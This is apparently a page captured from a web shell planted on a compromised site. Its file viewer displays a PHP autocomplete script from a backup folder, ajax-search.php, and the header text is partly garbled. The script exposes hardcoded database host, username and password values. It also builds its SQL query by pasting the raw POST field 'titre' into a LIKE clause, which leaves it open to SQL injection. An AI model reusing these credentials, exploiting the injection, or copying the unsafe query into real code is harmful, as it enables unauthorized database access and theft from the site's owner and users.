?

áEÓê¤ÎïLwebshll2019

Current Path : /home/webyoo/www/backup/allback/myagenda/
Upload File :
Current File : /home/webyoo/www/backup/allback/myagenda/ajax-search.php

<?php
$db_host = "mysql5-21.perso";
$db_user = "webyoobdd";
$db_pass = "webyoo26";
$db_name = "webyoobdd";

mysql_connect($db_host, $db_user,$db_pass);
mysql_select_db($db_name);
mysql_query("SET NAMES 'utf8'");

//$data = array();

 	if(isset($_POST["titre"])){
		$res = mysql_query("SELECT id,titre FROM agenda_events WHERE titre like '%".$_POST["titre"]."%' ORDER BY id");
		//echo "[";
		while($row = mysql_fetch_assoc($res)){
			echo $row["titre"]."\n";
			/* $data[] = array(
				'label' => $row['titre'] ,
			); */
		}
		//echo "]";
	}
	
	
/* $term = trim(strip_tags($_POST["titre"]));//retrieve the search term that autocomplete sends

$qstring = "SELECT id,titre FROM agenda_events WHERE titre like '%".$term."%' ORDER BY id";
$result = mysql_query($qstring);//query the database for entries containing the term

while ($row = mysql_fetch_array($result,MYSQL_ASSOC))//loop through the retrieved values
{
		$row['titre']=htmlentities(stripslashes($row['titre']));
		$row['id']=(int)$row['id'];
		$row_set[] = $row;//build an array
}
echo json_encode($row_set);//format the array into json data
 */
?>



web shell, Coded By 2019